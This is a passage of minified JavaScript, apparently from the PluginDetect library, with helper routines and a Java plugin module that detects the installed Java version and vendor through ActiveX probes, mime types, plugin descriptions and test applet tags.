if (f.getVersionDone != 1) { | |
f.getVersion(null, d, c); | |
if (f.getVersionDone === null) { | |
f.getVersionDone = 1 | |
} | |
} | |
a.cleanup(); | |
b = (f.version || f.version0); | |
b = b ? b.replace(a.splitNumRegx, a.getVersionDelimiter) : b; | |
return b | |
} | |
}, | |
cleanup: function () { | |
var a = this; | |
if (a.garbage && a.isDefined(window.CollectGarbage)) { | |
window.CollectGarbage() | |
} | |
}, | |
addWinEvent: function (d, c) { | |
var e = this, | |
a = window, | |
b; | |
if (e.isFunc(c)) { | |
if (a.addEventListener) { | |
a.addEventListener(d, c, false) | |
} else { | |
if (a.attachEvent) { | |
a.attachEvent("on" + d, c) | |
} else { | |
b = a["on" + d]; | |
a["on" + d] = e.winHandler(c, b) | |
} | |
} | |
} | |
}, | |
winHandler: function (d, c) { | |
return function () { | |
d(); | |
if (typeof c == "function") { | |
c() | |
} | |
} | |
}, | |
WLfuncs0: [], | |
WLfuncs: [], | |
runWLfuncs: function (a) { | |
var b = {}; | |
a.winLoaded = true; | |
a.callArray(a.WLfuncs0); | |
a.callArray(a.WLfuncs); | |
if (a.onDoneEmptyDiv) { | |
a.onDoneEmptyDiv() | |
} | |
}, | |
winLoaded: false, | |
$$onWindowLoaded: function (a) { | |
return function (b) { | |
if (a.winLoaded) { | |
a.call(b) | |
} else { | |
a.fPush(b, a.WLfuncs) | |
} | |
} | |
}, | |
$$onDetectionDone: function (a) { | |
return function (h, g, c, b) { | |
var d = a.init(h), | |
k, e, j = {}; | |
if (d.status == -3) { | |
return -1 | |
} | |
e = d.plugin; | |
if (!a.isArray(e.funcs)) { | |
e.funcs = [] | |
} | |
if (e.getVersionDone != 1) { | |
k = a.isMinVersion ? a.isMinVersion(h, "0", c, b) : a.getVersion(h, c, b) | |
} | |
if (e.installed != -0.5 && e.installed != 0.5) { | |
a.call(g); | |
return 1 | |
} | |
if (e.NOTF) { | |
a.fPush(g, e.funcs); | |
return 0 | |
} | |
return 1 | |
} | |
}, | |
div: null, | |
divID: "pdpd", | |
divWidth: 50, | |
pluginSize: 1, | |
emptyDiv: function () { | |
var d = this, | |
b, h, c, a, f, g; | |
if (d.div && d.div.childNodes) { | |
for (b = d.div.childNodes.length - 1; b >= 0; b--) { | |
c = d.div.childNodes[b]; | |
if (c && c.childNodes) { | |
for (h = c.childNodes.length - 1; h >= 0; h--) { | |
g = c.childNodes[h]; | |
try { | |
c.removeChild(g) | |
} catch (f) {} | |
} | |
} | |
if (c) { | |
try { | |
d.div.removeChild(c) | |
} catch (f) {} | |
} | |
} | |
} | |
if (!d.div) { | |
a = document.getElementById(d.divID); | |
if (a) { | |
d.div = a | |
} | |
} | |
if (d.div && d.div.parentNode) { | |
try { | |
d.div.parentNode.removeChild(d.div) | |
} catch (f) {} | |
d.div = null | |
} | |
}, | |
DONEfuncs: [], | |
onDoneEmptyDiv: function () { | |
var c = this, | |
a, b; | |
if (!c.winLoaded) { | |
return | |
} | |
if (c.WLfuncs && c.WLfuncs.length && c.WLfuncs[c.WLfuncs.length - 1] !== null) { | |
return | |
} | |
for (a in c) { | |
b = c[a]; | |
if (b && b.funcs) { | |
if (b.OTF == 3) { | |
return | |
} | |
if (b.funcs.length && b.funcs[b.funcs.length - 1] !== null) { | |
return | |
} | |
} | |
} | |
for (a = 0; a < c.DONEfuncs.length; a++) { | |
c.callArray(c.DONEfuncs) | |
} | |
c.emptyDiv() | |
}, | |
getWidth: function (c) { | |
if (c) { | |
var a = c.scrollWidth || c.offsetWidth, | |
b = this; | |
if (b.isNum(a)) { | |
return a | |
} | |
} | |
return -1 | |
}, | |
getTagStatus: function (m, g, a, b) { | |
var c = this, | |
f, k = m.span, | |
l = c.getWidth(k), | |
h = a.span, | |
j = c.getWidth(h), | |
d = g.span, | |
i = c.getWidth(d); | |
if (!k || !h || !d || !c.getDOMobj(m)) { | |
return -2 | |
} | |
if (j < i || 0 > l || 0 > j || 0 > i || i <= c.pluginSize || c.pluginSize < 1) { | |
return 0 | |
} | |
if (l >= i) { | |
return -1 | |
} | |
try { | |
if (l == c.pluginSize && (!c.isIE || c.getDOMobj(m).readyState == 4)) { | |
if (!m.winLoaded && c.winLoaded) { | |
return 1 | |
} | |
if (m.winLoaded && c.isNum(b)) { | |
if (!c.isNum(m.count)) { | |
m.count = b | |
} | |
if (b - m.count >= 10) { | |
return 1 | |
} | |
} | |
} | |
} catch (f) {} | |
return 0 | |
}, | |
getDOMobj: function (g, a) { | |
var f, d = this, | |
c = g ? g.span : 0, | |
b = c && c.firstChild ? 1 : 0; | |
try { | |
if (b && a) { | |
d.div.focus() | |
} | |
} catch (f) {} | |
return b ? c.firstChild : null | |
}, | |
setStyle: function (b, g) { | |
var f = b.style, | |
a, d, c = this; | |
if (f && g) { | |
for (a = 0; a < g.length; a = a + 2) { | |
try { | |
f[g[a]] = g[a + 1] | |
} catch (d) {} | |
} | |
} | |
}, | |
insertDivInBody: function (i, g) { | |
var f, c = this, | |
h = "pd33993399", | |
b = null, | |
d = g ? window.top.document : window.document, | |
a = d.getElementsByTagName("body")[0] || d.body; | |
if (!a) { | |
try { | |
d.write('<div id="' + h + '">.' + c.openTag + "/div>"); | |
b = d.getElementById(h) | |
} catch (f) {} | |
} | |
a = d.getElementsByTagName("body")[0] || d.body; | |
if (a) { | |
a.insertBefore(i, a.firstChild); | |
if (b) { | |
a.removeChild(b) | |
} | |
} | |
}, | |
insertHTML: function (f, b, g, a, k) { | |
var l, m = document, | |
j = this, | |
p, o = m.createElement("span"), | |
n, i; | |
var c = ["outlineStyle", "none", "borderStyle", "none", "padding", "0px", "margin", "0px", "visibility", "visible"]; | |
var h = "outline-style:none;border-style:none;padding:0px;margin:0px;visibility:visible;"; | |
if (!j.isDefined(a)) { | |
a = "" | |
} | |
if (j.isString(f) && (/[^\s]/).test(f)) { | |
f = f.toLowerCase().replace(/\s/g, ""); | |
p = j.openTag + f + ' width="' + j.pluginSize + '" height="' + j.pluginSize + '" '; | |
p += 'style="' + h + 'display:inline;" '; | |
for (n = 0; n < b.length; n = n + 2) { | |
if (/[^\s]/.test(b[n + 1])) { | |
p += b[n] + '="' + b[n + 1] + '" ' | |
} | |
} | |
p += ">"; | |
for (n = 0; n < g.length; n = n + 2) { | |
if (/[^\s]/.test(g[n + 1])) { | |
p += j.openTag + 'param name="' + g[n] + '" value="' + g[n + 1] + '" />' | |
} | |
} | |
p += a + j.openTag + "/" + f + ">" | |
} else { | |
p = a | |
} | |
if (!j.div) { | |
i = m.getElementById(j.divID); | |
if (i) { | |
j.div = i | |
} else { | |
j.div = m.createElement("div"); | |
j.div.id = j.divID | |
} | |
j.setStyle(j.div, c.concat(["width", j.divWidth + "px", "height", (j.pluginSize + 3) + "px", "fontSize", (j.pluginSize + 3) + "px", "lineHeight", (j.pluginSize + 3) + "px", "verticalAlign", "baseline", "display", "block"])); | |
if (!i) { | |
j.setStyle(j.div, ["position", "absolute", "right", "0px", "top", "0px"]); | |
j.insertDivInBody(j.div) | |
} | |
} | |
if (j.div && j.div.parentNode) { | |
j.setStyle(o, c.concat(["fontSize", (j.pluginSize + 3) + "px", "lineHeight", (j.pluginSize + 3) + "px", "verticalAlign", "baseline", "display", "inline"])); | |
try { | |
o.innerHTML = p | |
} catch (l) {}; | |
try { | |
j.div.appendChild(o) | |
} catch (l) {}; | |
return { | |
span: o, | |
winLoaded: j.winLoaded, | |
tagName: f, | |
outerHTML: p | |
} | |
} | |
return { | |
span: null, | |
winLoaded: j.winLoaded, | |
tagName: "", | |
outerHTML: p | |
} | |
}, | |
file: { | |
$: 1, | |
any: "fileStorageAny999", | |
valid: "fileStorageValid999", | |
save: function (d, f, c) { | |
var b = this, | |
e = b.$, | |
a; | |
if (d && e.isDefined(c)) { | |
if (!d[b.any]) { | |
d[b.any] = [] | |
} | |
if (!d[b.valid]) { | |
d[b.valid] = [] | |
} | |
d[b.any].push(c); | |
a = b.split(f, c); | |
if (a) { | |
d[b.valid].push(a) | |
} | |
} | |
}, | |
getValidLength: function (a) { | |
return a && a[this.valid] ? a[this.valid].length : 0 | |
}, | |
getAnyLength: function (a) { | |
return a && a[this.any] ? a[this.any].length : 0 | |
}, | |
getValid: function (c, a) { | |
var b = this; | |
return c && c[b.valid] ? b.get(c[b.valid], a) : null | |
}, | |
getAny: function (c, a) { | |
var b = this; | |
return c && c[b.any] ? b.get(c[b.any], a) : null | |
}, | |
get: function (d, a) { | |
var c = d.length - 1, | |
b = this.$.isNum(a) ? a : c; | |
return (0 > b || b > c) ? null : d[b] | |
}, | |
split: function (g, c) { | |
var b = this, | |
e = b.$, | |
f = null, | |
a, d; | |
g = g ? g.replace(".", "\.") : ""; | |
d = new RegExp("^(.*[^\/])(" + g + "\s*)$"); | |
if (e.isString(c) && d.test(c)) { | |
a = (RegExp.$1).split("/"); | |
f = { | |
name: a[a.length - 1], | |
ext: RegExp.$2, | |
full: c | |
}; | |
a[a.length - 1] = ""; | |
f.path = a.join("/") | |
} | |
return f | |
}, | |
z: 0 | |
}, | |
Plugins: { | |
java: { | |
mimeType: ["application/x-java-applet", "application/x-java-vm", "application/x-java-bean"], | |
classID: "clsid:8AD9C840-044E-11D1-B3E9-00805F499D93", | |
navigator: { | |
a: window.navigator.javaEnabled(), | |
javaEnabled: function () { | |
return this.a | |
}, | |
mimeObj: 0, | |
pluginObj: 0 | |
}, | |
OTF: null, | |
minIEver: 7, | |
debug: 0, | |
debugEnable: function () { | |
var a = this, | |
b = a.$; | |
a.debug = 1 | |
}, | |
isDisabled: { | |
$: 1, | |
DTK: function () { | |
var a = this, | |
c = a.$, | |
b = a.$$; | |
if ((c.isGecko && c.compareNums(c.verGecko, c.formatNum("1.6")) <= 0) || (c.isSafari && c.OS == 1 && (!c.verSafari || 0 > c.compareNums(c.verSafari, "5,1,0,0"))) || c.isChrome || (c.isIE && !c.ActiveXEnabled)) { | |
return 1 | |
} | |
return 0 | |
}, | |
AXO: function () { | |
var a = this, | |
c = a.$, | |
b = a.$$; | |
return (!c.isIE || !c.ActiveXEnabled || (!b.debug && b.DTK.query().status !== 0)) | |
}, | |
navMime: function () { | |
var b = this, | |
d = b.$, | |
c = b.$$, | |
a = c.navigator; | |
if (d.isIE || !a.mimeObj || !a.pluginObj) { | |
return 1 | |
} | |
return 0 | |
}, | |
navPlugin: function () { | |
var b = this, | |
d = b.$, | |
c = b.$$, | |
a = c.navigator; | |
if (d.isIE || !a.mimeObj || !a.pluginObj) { | |
return 1 | |
} | |
return 0 | |
}, | |
windowDotJava: function () { | |
var a = this, | |
c = a.$, | |
b = a.$$; | |
if (!window.java) { | |
return 1 | |
} | |
if (c.OS == 2 && c.verOpera > 8 && c.verOpera && c.verOpera < (9.3 - 0.1)) { | |
return 1 | |
} | |
return 0 | |
}, | |
allApplets: function () { | |
var b = this, | |
d = b.$, | |
c = b.$$, | |
a = c.navigator; | |
if (d.OS >= 20) { | |
return 0 | |
} | |
if (d.verOpera && d.verOpera < 11 && !a.javaEnabled() && !c.lang.System.getProperty()[0]) { | |
return 1 | |
} | |
if ((d.verGecko && 0 > d.compareNums(d.verGecko, d.formatNum("2"))) && !a.mimeObj && !c.lang.System.getProperty()[0]) { | |
return 1 | |
} | |
return 0 | |
}, | |
AppletTag: function () { | |
var b = this, | |
d = b.$, | |
c = b.$$, | |
a = c.navigator; | |
return d.isIE ? !a.javaEnabled() : 0 | |
}, | |
ObjectTag: function () { | |
var a = this, | |
c = a.$, | |
b = a.$$; | |
return c.isIE ? !c.ActiveXEnabled : 0 | |
}, | |
z: 0 | |
}, | |
getVerifyTagsDefault: function () { | |
var a = this, | |
c = a.$, | |
b = [1, 0, 1]; | |
if (c.OS >= 20) { | |
return b | |
} | |
if ((c.isIE && (c.verIE < 9 || !c.ActiveXEnabled)) || (c.verGecko && 0 > c.compareNums(c.verGecko, c.formatNum("2"))) || (c.isSafari && (!c.verSafari || 0 > c.compareNums(c.verSafari, c.formatNum("4")))) || (c.verOpera && c.verOpera < 10)) { | |
b = [1, 1, 1] | |
} | |
return b | |
}, | |
getVersion: function (j, g, i) { | |
var b = this, | |
d = b.$, | |
e, a = b.applet, | |
h = b.verify, | |
k = b.navigator, | |
f = null, | |
l = null, | |
c = null; | |
if (b.getVersionDone === null) { | |
b.OTF = 0; | |
k.mimeObj = d.hasMimeType(b.mimeType); | |
if (k.mimeObj) { | |
k.pluginObj = k.mimeObj.enabledPlugin | |
} | |
if (h) { | |
h.begin() | |
} | |
} | |
a.setVerifyTagsArray(i); | |
d.file.save(b, ".jar", g); | |
if (b.getVersionDone === 0) { | |
if (a.should_Insert_Query_Any()) { | |
e = a.insert_Query_Any(); | |
b.setPluginStatus(e[0], e[1], f) | |
} | |
return | |
} | |
if ((!f || b.debug) && b.DTK.query().version) { | |
f = b.DTK.version | |
} | |
if ((!f || b.debug) && b.navMime.query().version) { | |
f = b.navMime.version | |
} | |
if ((!f || b.debug) && b.navPlugin.query().version) { | |
f = b.navPlugin.version | |
} | |
if ((!f || b.debug) && b.AXO.query().version) { | |
f = b.AXO.version | |
} | |
if (b.nonAppletDetectionOk(f)) { | |
c = f | |
} | |
if (!c || b.debug || a.VerifyTagsHas(2.2) || a.VerifyTagsHas(2.5)) { | |
e = b.lang.System.getProperty(); | |
if (e[0]) { | |
f = e[0]; | |
c = e[0]; | |
l = e[1] | |
} | |
} | |
b.setPluginStatus(c, l, f); | |
if (a.should_Insert_Query_Any()) { | |
e = a.insert_Query_Any(); | |
if (e[0]) { | |
c = e[0]; | |
l = e[1] | |
} | |
} | |
b.setPluginStatus(c, l, f) | |
}, | |
nonAppletDetectionOk: function (b) { | |
var d = this, | |
e = d.$, | |
a = d.navigator, | |
c = 1; | |
if (!b || (!a.javaEnabled() && !d.lang.System.getPropertyHas(b)) || (!e.isIE && !a.mimeObj && !d.lang.System.getPropertyHas(b)) || (e.isIE && !e.ActiveXEnabled)) { | |
c = 0 | |
} else { | |
if (e.OS >= 20) {} else { | |
if (d.info && 0 > d.info.getPlugin2Status() && d.info.BrowserRequiresPlugin2()) { | |
c = 0 | |
} | |
} | |
} | |
return c | |
}, | |
setPluginStatus: function (d, f, a) { | |
var c = this, | |
e = c.$, | |
b; | |
a = a || c.version0; | |
if (0 < c.OTF) { | |
d = d || c.lang.System.getProperty()[0] | |
} | |
if (c.OTF < 3) { | |
b = d ? 1 : (a ? -0.2 : -1); | |
if (c.installed === null || b > c.installed) { | |
c.installed = b | |
} | |
} | |
if (c.OTF == 2 && c.NOTF && !c.applet.getResult()[0] && !c.lang.System.getProperty()[0]) { | |
c.installed = a ? -0.2 : -1 | |
}; | |
if (c.OTF == 3 && c.installed != -0.5 && c.installed != 0.5) { | |
c.installed = (c.NOTF.isJavaActive(1) == 1 || c.lang.System.getProperty()[0]) ? 0.5 : -0.5 | |
} | |
if (c.OTF == 4 && (c.installed == -0.5 || c.installed == 0.5)) { | |
if (d) { | |
c.installed = 1 | |
} else { | |
if (c.NOTF.isJavaActive(1) == 1) { | |
if (a) { | |
c.installed = 1; | |
d = a | |
} else { | |
c.installed = 0 | |
} | |
} else { | |
if (a) { | |
c.installed = -0.2 | |
} else { | |
c.installed = -1 | |
} | |
} | |
} | |
}; | |
if (a) { | |
c.version0 = e.formatNum(e.getNum(a)) | |
} | |
if (d) { | |
c.version = e.formatNum(e.getNum(d)) | |
} | |
if (f && e.isString(f)) { | |
c.vendor = f | |
} | |
if (!c.vendor) { | |
c.vendor = "" | |
} | |
if (c.verify && c.verify.isEnabled()) { | |
c.getVersionDone = 0 | |
} else { | |
if (c.getVersionDone != 1) { | |
if (c.OTF < 2) { | |
c.getVersionDone = 0 | |
} else { | |
c.getVersionDone = c.applet.can_Insert_Query_Any() ? 0 : 1 | |
} | |
} | |
} | |
}, | |
DTK: { | |
$: 1, | |
hasRun: 0, | |
status: null, | |
VERSIONS: [], | |
version: "", | |
HTML: null, | |
Plugin2Status: null, | |
classID: ["clsid:CAFEEFAC-DEC7-0000-0001-ABCDEFFEDCBA", "clsid:CAFEEFAC-DEC7-0000-0000-ABCDEFFEDCBA"], | |
mimeType: ["application/java-deployment-toolkit", "application/npruntime-scriptable-plugin;DeploymentToolkit"], | |
disabled: function () { | |
return this.$$.isDisabled.DTK() | |
}, | |
query: function () { | |
var k = this, | |
g = k.$, | |
d = k.$$, | |
j, l, h, m = {}, f = {}, a, c = null, | |
i = null, | |
b = (k.hasRun || k.disabled()); | |
k.hasRun = 1; | |
if (b) { | |
return k | |
} | |
k.status = 0; | |
if (g.isIE && 6 <= g.verIE) { | |
for (l = 0; l < k.classID.length; l++) { | |
k.HTML = g.insertHTML("object", ["classid", k.classID[l]], []); | |
c = g.getDOMobj(k.HTML); | |
try { | |
if (c && c.jvms) { | |
break | |
} | |
} catch (j) {} | |
} | |
} else { | |
if (!g.isIE && (h = g.hasMimeType(k.mimeType)) && h.type) { | |
k.HTML = g.insertHTML("object", ["type", h.type], []); | |
c = g.getDOMobj(k.HTML) | |
} | |
} | |
if (c) { | |
try { | |
a = c.jvms; | |
if (a) { | |
i = a.getLength(); | |
if (g.isNum(i)) { | |
k.status = 0 < i ? 1 : -1; | |
for (l = 0; l < i; l++) { | |
h = g.getNum(a.get(i - 1 - l).version); | |
if (h) { | |
k.VERSIONS.push(h); | |
f["a" + g.formatNum(h)] = 1 | |
} | |
} | |
} | |
} | |
} catch (j) {} | |
} | |
h = 0; | |
for (l in f) { | |
h++ | |
} | |
if (h && h !== k.VERSIONS.length) { | |
k.VERSIONS = [] | |
} | |
if (k.VERSIONS.length) { | |
k.version = g.formatNum(k.VERSIONS[0]) | |
}; | |
return k | |
} | |
}, | |
AXO: { | |
$: 1, | |
hasRun: 0, | |
VERSIONS: [], | |
version: "", | |
disabled: function () { | |
return this.$$.isDisabled.AXO() | |
}, | |
JavaVersions: [ | |
[1, 9, 1, 40], | |
[1, 8, 1, 40], | |
[1, 7, 1, 40], | |
[1, 6, 0, 40], | |
[1, 5, 0, 30], | |
[1, 4, 2, 30], | |
[1, 3, 1, 30] | |
], | |
query: function () { | |
var a = this, | |
e = a.$, | |
b = a.$$, | |
c = (a.hasRun || a.disabled()); | |
a.hasRun = 1; | |
if (c) { | |
return a | |
} | |
var i = [], | |
k = [1, 5, 0, 14], | |
j = [1, 6, 0, 2], | |
h = [1, 3, 1, 0], | |
g = [1, 4, 2, 0], | |
f = [1, 5, 0, 7], | |
d = b.getInfo ? true : false, | |
l = {}; | |
if (b.minIEver <= e.verIE) { | |
i = a.search(j, j, d); | |
if (0 < i.length && d) { | |
i = a.search(k, k, d) | |
} | |
} else { | |
if (d) { | |
i = a.search(f, f, true) | |
} | |
if (i.length == 0) { | |
i = a.search(h, g, false) | |
} | |
} | |
if (i.length) { | |
a.version = i[0]; | |
a.VERSIONS = [].concat(i) | |
}; | |
return a | |
}, | |
search: function (a, j, p) { | |
var h, d, f = this, | |
e = f.$, | |
k = f.$$, | |
n, c, l, q, b, o, r, i = []; | |
if (0 < e.compareNums(a.join(","), j.join(","))) { | |
j = a | |
} | |
j = e.formatNum(j.join(",")); | |
var m, s = "1,4,2,0", | |
g = "JavaPlugin." + a[0] + "" + a[1] + "" + a[2] + "" + (0 < a[3] ? ("_" + (a[3] < 10 ? "0" : "") + a[3]) : ""); | |
for (h = 0; h < f.JavaVersions.length; h++) { | |
d = f.JavaVersions[h]; | |
n = "JavaPlugin." + d[0] + "" + d[1]; | |
b = d[0] + "." + d[1] + "."; | |
for (l = d[2]; l >= 0; l--) { | |
r = "JavaWebStart.isInstalled." + b + l + ".0"; | |
if (e.compareNums(d[0] + "," + d[1] + "," + l + ",0", j) >= 0 && !e.getAXO(r)) { | |
continue | |
} | |
m = 0 > e.compareNums(d[0] + "," + d[1] + "," + l + ",0", s) ? true : false; | |
for (q = d[3]; q >= 0; q--) { | |
c = l + "_" + (q < 10 ? "0" + q : q); | |
o = n + c; | |
if (e.getAXO(o) && (m || e.getAXO(r))) { | |
i.push(b + c); | |
if (!p) { | |
return i | |
} | |
} | |
if (o == g) { | |
return i | |
} | |
} | |
if (e.getAXO(n + l) && (m || e.getAXO(r))) { | |
i.push(b + l); | |
if (!p) { | |
return i | |
} | |
} | |
if (n + l == g) { | |
return i | |
} | |
} | |
} | |
return i | |
} | |
}, | |
navMime: { | |
$: 1, | |
hasRun: 0, | |
mimetype: "", | |
version: "", | |
length: 0, | |
mimeObj: 0, | |
pluginObj: 0, | |
disabled: function () { | |
return this.$$.isDisabled.navMime() | |
}, | |
query: function () { | |
var i = this, | |
f = i.$, | |
a = i.$$, | |
b = (i.hasRun || i.disabled()); | |
i.hasRun = 1; | |
if (b) { | |
return i | |
}; | |
var n = /^\s*application\/x-java-applet;jpi-version\s*=\s*(\d.*)$/i, | |
g, l, j, d = "", | |
h = "a", | |
o, m, k = {}, c = f.formatNum("0"); | |
for (l = 0; l < navigator.mimeTypes.length; l++) { | |
o = navigator.mimeTypes[l]; | |
m = o ? o.enabledPlugin : 0; | |
g = o && n.test(o.type || d) ? f.formatNum(f.getNum(RegExp.$1)) : 0; | |
if (g && m && (m.description || m.name)) { | |
if (!k[h + g]) { | |
i.length++ | |
} | |
k[h + g] = o.type; | |
if (0 < f.compareNums(g, c)) { | |
c = g | |
} | |
} | |
} | |
g = k[h + c]; | |
if (g) { | |
o = f.hasMimeType(g); | |
i.mimeObj = o; | |
i.pluginObj = o ? o.enabledPlugin : 0; | |
i.mimetype = g; | |
i.version = c | |
}; | |
return i | |
} | |
}, | |
navPlugin: { | |
$: 1, | |
hasRun: 0, | |
version: "", | |
disabled: function () { | |
return this.$$.isDisabled.navPlugin() | |
}, | |
query: function () { | |
var m = this, | |
e = m.$, | |
c = m.$$, | |
h = c.navigator, | |
j, l, k, g, d, a, i, f = 0, | |
b = (m.hasRun || m.disabled()); | |
m.hasRun = 1; | |
if (b) { | |
return m | |
}; | |
a = h.pluginObj.name || ""; | |
i = h.pluginObj.description || ""; | |
if (!f || c.debug) { | |
g = /Java.*TM.*Platform[^\d]*(\d+)(?:[\.,_](\d*))?(?:\s*[Update]+\s*(\d*))?/i; | |
if ((g.test(a) || g.test(i)) && parseInt(RegExp.$1, 10) >= 5) { | |
f = "1," + RegExp.$1 + "," + (RegExp.$2 ? RegExp.$2 : "0") + "," + (RegExp.$3 ? RegExp.$3 : "0") | |
} | |
} | |
if (!f || c.debug) { | |
g = /Java[^\d]*Plug-in/i; | |
l = g.test(i) ? e.formatNum(e.getNum(i)) : 0; | |
k = g.test(a) ? e.formatNum(e.getNum(a)) : 0; | |
if (l && (e.compareNums(l, e.formatNum("1,3")) < 0 || e.compareNums(l, e.formatNum("2")) >= 0)) { | |
l = 0 | |
} | |
if (k && (e.compareNums(k, e.formatNum("1,3")) < 0 || e.compareNums(k, e.formatNum("2")) >= 0)) { | |
k = 0 | |
} | |
d = l && k ? (0 < e.compareNums(l, k) ? l : k) : (l || k); | |
if (d) { | |
f = d | |
} | |
} | |
if (!f && e.isSafari && e.OS == 2) { | |
j = e.findNavPlugin("Java.*\d.*Plug-in.*Cocoa", 0); | |
if (j) { | |
l = e.getNum(j.description); | |
if (l) { | |
f = l | |
} | |
} | |
}; | |
if (f) { | |
m.version = e.formatNum(f) | |
}; | |
return m | |
} | |
}, | |
lang: { | |
$: 1, | |
System: { | |
$: 1, | |
hasRun: 0, | |
result: [null, null], | |
disabled: function () { | |
return this.$$.isDisabled.windowDotJava() | |
}, | |
getPropertyHas: function (a) { | |
var b = this, | |
d = b.$, | |
c = b.getProperty()[0]; | |
return (a && c && d.compareNums(d.formatNum(a), d.formatNum(c)) === 0) ? 1 : 0 | |
}, | |
getProperty: function () { | |
var f = this, | |
g = f.$, | |
d = f.$$, | |
i, h = {}, b = f.hasRun || f.disabled(); | |
f.hasRun = 1; | |
if (!b) { | |
var a = "java_qqq990"; | |
g[a] = null; | |
try { | |
var c = document.createElement("script"); | |
c.type = "text/javascript"; | |
c.appendChild(document.createTextNode('(function(){var e,a;try{a=[window.java.lang.System.getProperty("java.version")+" ",window.java.lang.System.getProperty("java.vendor")+" "]}catch(e){};' + g.name + "." + a + "=a||0})();")); | |
g.head.insertBefore(c, g.head.firstChild); | |
g.head.removeChild(c) | |
} catch (i) {} | |
if (g[a] && g.isArray(g[a])) { | |
f.result = [].concat(g[a]) | |
} | |
} | |
return f.result | |
} | |
} | |
}, | |
applet: { | |
$: 1, | |
results: [ | |
[null, null], | |
[null, null], | |
[null, null] | |
], | |
getResult: function () { | |
var c = this.results, | |
a, b = []; | |
for (a = 0; a < c.length; a++) { | |
b = c[a]; | |
if (b[0]) { | |
break | |
} | |
} | |
return [].concat(b) | |
}, | |
HTML: [0, 0, 0], | |
active: [0, 0, 0], | |
DummyObjTagHTML: 0, | |
DummySpanTagHTML: 0, | |
allowed: [1, 1, 1], | |
VerifyTagsHas: function (c) { | |
var d = this, | |
b; | |
for (b = 0; b < d.allowed.length; b++) { | |
if (d.allowed[b] === c) { | |
return 1 | |
} | |
} | |
return 0 | |
}, | |
saveAsVerifyTagsArray: function (c) { | |
var b = this, | |
d = b.$, | |
a; | |
if (d.isArray(c)) { | |
for (a = 0; a < b.allowed.length; a++) { | |
if (d.isNum(c[a])) { | |
if (0 > c[a]) { | |
c[a] = 0 | |
} | |
if (c[a] > 3) { | |
c[a] = 3 | |
} | |
b.allowed[a] = c[a] | |
} | |
} | |
} | |
}, | |
setVerifyTagsArray: function (d) { | |
var b = this, | |
c = b.$, | |
a = b.$$; | |
if (a.getVersionDone === null) { | |
b.saveAsVerifyTagsArray(a.getVerifyTagsDefault()) | |
} | |
if (a.debug || (a.verify && a.verify.isEnabled())) { | |
b.saveAsVerifyTagsArray([3, 3, 3]) | |
} else { | |
if (d) { | |
b.saveAsVerifyTagsArray(d) | |
} | |
} | |
}, | |
allDisabled: function () { | |
return this.$$.isDisabled.allApplets() | |
}, | |
isDisabled: function (d) { | |
var b = this, | |
c = b.$, | |
a = b.$$; | |
if (d == 2 && !c.isIE) { | |
return 1 | |
} | |
if (d === 0 || d == 2) { | |
return a.isDisabled.ObjectTag() | |
} | |
if (d == 1) { | |
return a.isDisabled.AppletTag() | |
} | |
}, | |
can_Insert_Query: function (b) { | |
var a = this; | |
if (a.HTML[b]) { | |
return 0 | |
} | |
return !a.isDisabled(b) | |
}, | |
can_Insert_Query_Any: function () { | |
var b = this, | |
a; | |
for (a = 0; a < b.results.length; a++) { | |
if (b.can_Insert_Query(a)) { | |
return 1 | |
} | |
} | |
return 0 | |
}, | |
should_Insert_Query: function (d) { | |
var b = this, | |
e = b.allowed, | |
c = b.$, | |
a = b.$$; | |
if (!b.can_Insert_Query(d)) { | |
return 0 | |
} | |
if (e[d] == 3) { | |
return 1 | |
} | |
if (e[d] == 2.8 && !b.getResult()[0]) { | |
return 1 | |
} | |
if (e[d] == 2.5 && !a.lang.System.getProperty()[0]) { | |
return 1 | |
} | |
if (e[d] == 2.2 && !a.lang.System.getProperty()[0] && !b.getResult()[0]) { | |
return 1 | |
} | |
if (!a.nonAppletDetectionOk(a.version0)) { | |
if (e[d] == 2) { | |
return 1 | |
} | |
if (e[d] == 1 && !b.getResult()[0]) { | |
return 1 | |
} | |
} | |
return 0 | |
}, | |
should_Insert_Query_Any: function () { | |
var b = this, | |
a; | |
for (a = 0; a < b.allowed.length; a++) { | |
if (b.should_Insert_Query(a)) { | |
return 1 | |
} | |
} | |
return 0 | |
}, | |
query: function (f) { | |
var h, a = this, | |
g = a.$, | |
d = a.$$, | |
i = null, | |
j = null, | |
b = a.results, | |
c; | |
if ((b[f][0] && b[f][1]) || (d.debug && d.OTF < 3)) { | |
return | |
} | |
c = g.getDOMobj(a.HTML[f], true); | |
if (c) { | |
try { | |
i = g.getNum(c.getVersion() + " "); | |
j = c.getVendor() + " "; | |
c.statusbar(g.winLoaded ? " " : " ") | |
} catch (h) {} | |
if (i && g.isStrNum(i)) { | |
b[f] = [i, j] | |
} else {}; | |
try { | |
if (g.isIE && i && c.readyState != 4) { | |
g.garbage = true; | |
c.parentNode.removeChild(c) | |
} | |
} catch (h) {} | |
} | |
}, | |
insert_Query_Any: function () { | |
var d = this, | |
i = d.$, | |
e = d.$$, | |
l = d.results, | |
p = d.HTML, | |
a = " ", | |
g = "A.class", | |
m = i.file.getValid(e); | |
if (!m) { | |
return d.getResult() | |
} | |
if (e.OTF < 1) { | |
e.OTF = 1 | |
} | |
if (d.allDisabled()) { | |
return d.getResult() | |
} | |
if (e.OTF < 1.5) { | |
e.OTF = 1.5 | |
} | |
var j = m.name + m.ext, | |
h = m.path; | |
var f = ["archive", j, "code", g], | |
c = ["mayscript", "true"], | |
o = ["scriptable", "true"].concat(c), | |
n = e.navigator, | |
b = !i.isIE && n.mimeObj && n.mimeObj.type ? n.mimeObj.type : e.mimeType[0]; | |
if (d.should_Insert_Query(0)) { | |
if (e.OTF < 2) { | |
e.OTF = 2 | |
}; | |
p[0] = i.isIE ? i.insertHTML("object", ["type", b], ["codebase", h].concat(f).concat(o), a, e) : i.insertHTML("object", ["type", b], ["codebase", h].concat(f).concat(o), a, e); | |
l[0] = [0, 0]; | |
d.query(0) | |
} | |
if (d.should_Insert_Query(1)) { | |
if (e.OTF < 2) { | |
e.OTF = 2 | |
}; | |
p[1] = i.isIE ? i.insertHTML("applet", ["alt", a].concat(c).concat(f), ["codebase", h].concat(c), a, e) : i.insertHTML("applet", ["codebase", h, "alt", a].concat(c).concat(f), [].concat(c), a, e); | |
l[1] = [0, 0]; | |
d.query(1) | |
} | |
if (d.should_Insert_Query(2)) { | |
if (e.OTF < 2) { | |
e.OTF = 2 | |
}; | |
p[2] = i.isIE ? i.insertHTML("object", ["classid", e.classID], ["codebase", h].concat(f).concat(o), a, e) : i.insertHTML(); | |
